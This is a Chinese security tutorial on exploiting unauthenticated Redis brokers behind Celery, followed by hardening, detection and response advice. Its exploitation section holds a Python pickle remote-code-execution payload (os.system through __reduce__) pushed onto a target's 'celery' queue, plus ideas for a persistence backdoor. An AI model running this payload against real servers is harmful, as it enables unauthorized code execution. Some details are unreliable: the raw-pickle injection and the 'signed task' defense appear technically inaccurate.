Celery Redis未授权访问利用
字数 1115 2025-08-09 22:00:37
Celery Redis未授权访问利用分析
1. 漏洞概述
Celery是一个分布式任务队列系统,常用于异步任务处理。当Celery与Redis结合使用时,如果配置不当导致Redis未授权访问,攻击者可以利用此漏洞执行恶意任务或获取敏感信息。
2. 前置知识
2.1 Celery基础
- Celery是一个分布式任务队列系统
- 使用消息代理(如Redis、RabbitMQ)在客户端和工作节点之间传递消息
- 主要组件:客户端(发布任务)、工作节点(执行任务)、消息代理(存储任务)
2.2 Redis未授权访问
- Redis默认监听6379端口
- 未设置密码或配置错误时可被任意主机访问
- 可导致数据泄露、命令执行等风险
3. 漏洞利用原理
当Celery使用Redis作为消息代理时:
- 任务信息以序列化形式存储在Redis中
- 攻击者可通过未授权访问的Redis直接插入恶意任务
- Celery worker会从Redis获取并执行这些任务
4. 漏洞利用步骤
4.1 环境检测
- 扫描目标Redis端口(默认6379)
- 测试未授权访问:
redis-cli -h <target_ip> -p 6379 - 确认是否为Celery使用的Redis:
查找包含"celery"关键字的键KEYS *
4.2 构造恶意任务
-
安装Celery和Redis客户端:
pip install celery redis -
创建恶意任务脚本:
import redis
import pickle
# 目标Redis连接
r = redis.Redis(host='<target_ip>', port=6379)
# 构造恶意任务
class Exploit(object):
def __reduce__(self):
import os
return (os.system, ('恶意命令',))
# 序列化恶意对象
exploit = pickle.dumps(Exploit())
# 将任务插入Redis队列
r.lpush('celery', exploit)
4.3 任务执行
- 目标Celery worker会自动从Redis获取并执行任务
- 恶意命令将在worker所在服务器上执行
5. 高级利用技巧
5.1 信息收集
- 列出所有队列:
KEYS celery* - 查看任务内容:
LRANGE <queue_name> 0 -1
5.2 反序列化利用
- Celery使用pickle进行任务序列化
- 可利用pickle反序列化漏洞执行任意代码
5.3 持久化后门
- 在Redis中插入定期执行的恶意任务
- 实现持久化控制
6. 防御措施
6.1 Redis安全配置
- 设置强密码:
requirepass <strong_password> - 绑定特定IP:
bind 127.0.0.1 - 禁用危险命令:
rename-command FLUSHALL "" rename-command CONFIG ""
6.2 Celery安全配置
- 使用Celery的认证机制:
app.conf.broker_url = 'redis://:password@localhost:6379/0' - 限制可执行任务:
app.conf.task_routes = { 'tasks.add': {'queue': 'math'}, } - 使用签名任务:
from celery import signature signed_task = signature('tasks.add', args=(2, 2), kwargs={})
6.3 网络防护
- 防火墙限制Redis端口访问
- 使用VPN或私有网络
- 定期审计Redis和Celery配置
7. 检测与响应
7.1 检测方法
- 监控Redis异常连接
- 检查Celery任务日志中的异常任务
- 审计Redis中的任务队列
7.2 应急响应
- 立即隔离受影响系统
- 重置Redis密码
- 检查系统是否已被入侵
- 更新Celery和Redis到最新版本
8. 总结
Celery与Redis结合使用时,未授权访问漏洞可能导致严重后果。通过合理配置Redis访问控制、Celery任务认证和网络防护,可以有效降低风险。管理员应定期审计系统配置,监控异常活动,确保分布式任务系统的安全性。